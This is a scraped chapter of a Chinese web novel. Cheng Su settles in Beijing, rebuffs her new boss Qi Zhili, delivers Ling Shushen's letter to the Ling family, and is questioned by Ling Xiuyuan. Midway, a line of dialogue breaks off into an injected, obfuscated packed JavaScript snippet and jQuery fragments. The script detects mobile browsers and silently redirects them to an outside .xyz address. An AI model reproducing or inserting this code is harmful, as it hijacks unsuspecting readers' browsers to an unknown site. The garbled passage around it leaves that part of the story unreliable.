4. 冷冷清清

作品:《至夜沉沦

    -


    司机将程诉送到凌淑慎给她准备的住处,——秋水长天六栋二十八层。


    这地方是凌淑慎的私产,现在给了程诉住。


    小区的名字雅致,景色也雅致,凌淑慎对房子的装修很用心,书房的摆件,墙上的挂画,程诉跟在凌淑慎身边久了,养出了眼力,知道这些出自名家,价值不菲。


    程诉住进了西南边那间房,窗帘隔绝了日光,她睡了很长的一觉。


    再醒来时已至傍晚,落日晚霞比晨光更厚重,挂在金光闪闪的天边。


    手机铃在响,刚醒的程诉迷离的看向窗外,直到铃声响到第二遍,她才回神接起。


    是程韵的电话。


    没聊什么重要的事,只是询问程诉是否回国了。


    程诉回京城的事没多少人知道,但程韵是她亲姐姐,她还是通知了一声。


    在国外这几年,程诉与国内的联系实在少,骤然回国,程韵不得不关心,担忧她是不是在国外出了什么事。


    “只是正常的工作调动而已。”


    程诉解释,通话到这里就停止了。


    注视着手机上那串程韵的号码,程诉很少主动拨过,她与程韵一直不算亲近。


    在国内时,程诉与程韵就相隔甚远,程韵在深城,几乎和她相隔了整个地图,一年到头,除了节日的问候再难找出一点联系。


    出国后,就更不用说了,隔着时差,很难有机会交谈。


    程韵的这通电话强行唤醒了程诉,她意识到自己已经一天没有进食。


    冰箱里有新添置的食材,程诉厨艺不错,但这个点儿她没心情做饭,随便吃了点,然后开始回复英国发来的邮件。


    她在英国有个助理,能帮她处理掉大部分那边的事务,但有些东西她没有权限,而凌淑慎现在又不方便打扰,只好转交给程诉。


    很快,京城的天黑了。


    程诉结束会议,忙碌了一天,她终于有机会歇一歇,呆坐在客房的落地窗边。从二十八层俯瞰京城的视角,是她第一次经历,这个位置,风景很好。


    霓虹闪烁,京城的地标建筑就在不远处。


    同样能看到这座建筑的,还有位于灏榆路的柏悦酒店顶层。


    祁知礼洗完澡倚在沙发上,手里拿的是程诉白天给他的那张名片。


    CielChen,程诉的英文名,Chen是她的姓,Ciel的意思是天蓝色,干净纯粹的颜色。


    名字下面就是她的联系方式,祁知礼打开手机,在微信搜索里找到了程诉的账号。


    还是一样的英文名,头像是一片阴天的海,朋友圈里什么也没有,她的账号和她的人一样,冷冷清清。


    祁知礼发了好友申请过去,程诉很快就同意了。


    随后,对话框里出现一个地址的定位,好像是个餐厅。


    祁知礼让程诉明天去这里找他。


    电脑屏幕上,凌淑慎刚给她发的邮件还静静躺在那里。


    思忖一会儿,程诉给祁知礼发去一句“抱歉”。


    在凌淑慎和祁知礼中,她选择了凌淑慎。


    明天,她要替凌淑慎去凌家拜访,没办法去找祁知礼,想来,这位小少爷找程诉应该没有什么正经事。


    祁知礼盯着消息界面,等了好久,等来了程诉一句她明天有事。


    她一个刚回京城的人,时差都没来得及倒,能有多紧急的事让她干脆的拒绝祁知礼这个新老板的要求。


    “程诉,真是好样的。”


    祁知礼说得咬牙切齿,嘴边挂着自嘲的笑。


    他是不是对程诉太纵容,她才敢再三无视他的要求。凌淑慎既然要程诉在他身边,那就是他的人,听他的差遣,但她却一而再再而三的拒绝他。


    这对祁知礼来说无异于一种挑衅,他在祁家,在祁成蹊面前都没受过这样的气。


    “好,程诉,你等着。”


    在窗边看文件的程诉打了个喷嚏,拢紧了身上的羊绒毯,晚春温差大,她又奔波劳累一天,好像有点感冒了。


    翌日晴朗,程诉备了礼,照凌淑慎的意思,去了一趟凌家。


    凌家和祁家不太一样,祁家明代发家,世代从商,凌家却更为复杂。


    现任掌家人是凌淑慎的父亲凌世图,年轻的时候画国画,在文化届颇有声望,如今封笔,却名气不减,他的作品在拍卖会的成交价一次比一次高。


    凌淑慎的弟弟凌修远,早年是京大的教授,后来调任出京了几年,现在的位置已经不是轻易能提起的了。


    凌淑慎在嫁人前,是凌家产业的掌权人,出国后,这些事情则交给了表弟凌澈,这两年,凌澈在商界的名声越来越响,程诉在英国时就听过这个名字。


    听说程诉要来拜访,除了尚在北美的凌澈不在,凌修远竟然都回来了。


    把礼物交给管家,那是程诉托朋友带回的百年山参,她想送给长辈再合适不过。


    凌修远亲自在门口把程诉领进去,接近知命之年的男人依旧身姿挺拔,没见官场上的迂腐气,倒是散着和凌淑慎如出一辙的孤高态。


    进屋内见了老先生和老夫人,这一家是一脉相承的书香气。


    凌淑慎是从小学书画的,不止中国画,西方画派也有涉猎,她在英国有家画廊,现在是程诉在打理。


    那种浓厚的书卷气,程诉第一次和她接触时就感受到了,那样的气质仪态想必是受家庭影响。


    脑海里忽然就出现了祁知礼的身影,怎么他的样子,没遗传到凌淑慎的一点影子。


    程诉初见祁知礼就觉得,凌女士那样光辉的人怎么会有个这样的儿子。


    凌老夫人给程诉斟茶,有些急切的想了解女儿在外的情况。


    “凌女士很好,让我告诉你们不用挂念,这是她的手书。”


    程诉来凌家就是为了送这封手书,凌淑慎刚出国时还会常寄信回家,这两年也少了,老先生和老夫人年纪越大,越是担忧思念。


    所以回国前,凌淑慎特地交代程诉把信亲自送到凌家,亲笔手书和短信问候到底还是感觉不同,毕竟见字如面。


    信封上的火漆印是凌淑慎的印章,凌世图一眼就认出来了。


    只是拆开信件后,两位老人的脸色不太好。


    “怎么了吗?”


    这里面内容程诉没看过,不知道是怎样的话让两位露出这样的表情。


    “没什么,小淑在国外一切都好吧?”


    凌世图到底是见过风浪的人,很快稳定情绪,和程诉闲聊起来。


    其间问起凌淑慎的状况,程诉都答一切都好。


    不管好不好,都要说好,这是凌淑慎特意交代她的。


    婉拒了凌家留饭的邀约,程诉准备告辞。


    “我来送程小姐吧。”


    一直在旁没出声的凌修远突然开口,官场浸润多年的气场厚重,那双眼睛更是盯得程诉忽然间心里一颤。


    “不必麻烦了,我自己回去就好。”


    “程小姐是贵客,当然该我亲自送。”


    凌修远执意,连老先生和老夫人都说该送的,程诉推脱不掉。


    回程开车的是凌修远的私人司机,一路都安静得很,直到汽车驶入秋水长天,凌修远吩咐司机下车等候。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751399|157632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凌先生有话要对我说。”


    这不是疑问句,这是肯定句。凌修远不在凌家老宅问,大费周章的把她送回来,又支走了司机,到底想和她说什么。


    “阿姐这么久一直不肯回国的真正原因到底是什么?”


    已经被程诉察觉,凌修远也就不拐弯抹角,直截了当的问了出来。


    他察觉到程诉回京有些不对劲,程诉终究年轻,瞒不过他这个老狐狸。


    既然凌淑慎派程诉回国,派在祁知礼身边,还给了股份,说明她有意插手国内事务,那她为什么不亲自回来?她亲自处理,总比程诉这个既青涩又和凌家祁家没关系的人来处理更好。


    除非她有实在不能回京的理由。


    “也许是凌女士不愿回这片伤心地吧,您也知道,祁致尧先生的死亡给她带来了很大的打击。”


    光是这个理由,不足以使凌修远信服,大张旗鼓却又不露面,凌淑慎瞒着他,瞒着家里,到底在做什么。


    但他再问,程诉却什么也不肯说了。


    程诉在凌淑慎身边这么多年,深得器重,当然不仅仅是因为她出众的才能,凌淑慎最喜欢她的两点就是——识时务并且听话。


    她知道那些能说,那些不能说,更知道凌淑慎说不能说的一定不能说。


    “如果她在英国出了事,还麻烦程小姐一定要第一时间通知我。”


    这是凌修远最后的嘱咐。


    “当然,您是她的亲弟弟。”


    这一点,凌淑慎交代过,老先生和老夫人年纪大了经不起刺激,祁知礼又年轻,保不齐冲动之下会做出些出人意料的事情。


    所以唯一能处理她的事情的人,就只有凌修远了。


    而且,凌淑慎的状况确实不像她说的那么好,她已经生病很久了。


    从两年前查出这个病开始,虽然有在积极配合治疗,但身体还是每况愈下,如果真的走到了不可挽回的那一步,她让程诉通知凌修远带她回家。


    虽然程诉也不愿看到那一幕,但生命有限,世事无常,谁又说得准呢?


    可现在不是让他们知道这些事情的时候,所以凌淑慎派了程诉回京。


    车在楼下没停多久就开走了,程诉孤身上楼。


    不过她还没坐稳,今天去凌家拜访,凌修远还亲自送她回来的事很快就传到了祁成蹊的耳朵里。


    祁成蹊是从祁致尧去世后才渐渐不管集团事务的,外界有传言说是因为接受不了自己最喜欢的孩子突然去世,导致过度伤心,没有精力再管理了。


    传言真真假假没人细究,但他却是真的退居幕后。


    就算如此,那些敏锐感官还在,要想知道程诉在京城的动态,就是动动手指轻而易举的事。


    “她都去凌家了,我们祁家也该正式见见。”


    祁成蹊一边喂鸟一边吩咐管家。


    “您想在哪里见程小姐,我让他们去准备。”


    “也不用单独准备了,就后天,把她叫到家里来见吧。”


    “后天是十五,在家里见程小姐恐怕不太合适吧?”


    周管家算了算日子,回的小心翼翼。


    “没什么不合适的,让她坐淑慎的位置,叫大家都见见。”


    “好的明白了,我让他们多添一双碗筷给程小姐。”


    祁成蹊点头表示认可,在管家离开又叫住他。


    “让小礼那天也回来,多大个人了还在外面整天厮混,马上就要进公司了,该收敛一下脾气了。”


    话中的责怪不真切,语气透着宠溺,祁成蹊对祁知礼与别的孩子不同,是人尽皆知的事。


    -